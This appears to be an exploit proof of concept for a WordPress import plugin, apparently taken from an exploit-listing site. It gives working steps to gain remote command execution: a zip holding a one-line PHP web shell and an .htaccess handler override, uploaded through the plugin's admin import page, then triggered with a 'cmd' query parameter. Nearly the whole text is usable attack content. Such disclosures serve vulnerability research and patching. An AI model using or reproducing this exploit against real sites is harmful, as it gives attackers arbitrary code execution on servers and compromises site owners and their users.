## https://sploitus.com/exploit?id=WPEX-ID:CCBB74F5-1B8F-4EA6-96BC-DDF62AF7F94D
[1] Create 'poc.zip' with 2 files like below
[1-1] 'exploit.php.txt' is as follows.
----------------------------------
<?php system($_GET['cmd']); ?>
----------------------------------
[1-2] '.htaccess' is as follows.
----------------------------------
<IfModule mod_rewrite.c>
AddHandler application/x-httpd-php .php .html
</IfModule>
----------------------------------
[2] Upload the 'poc.zip' via the button [Upload a file] on 'http://localhost/wp-admin/admin.php?page=pmxi-admin-import'
[3] Access 'http://localhost/wp-content/uploads/wpallimport/uploads/fa5b307edb3ccdd2244b2b60b1d9c0ee/exploit.php.txt?cmd=id' in order to execute arbitrary commands.
* fa5b307edb3ccdd2244b2b60b1d9c0ee is a random string from the server response.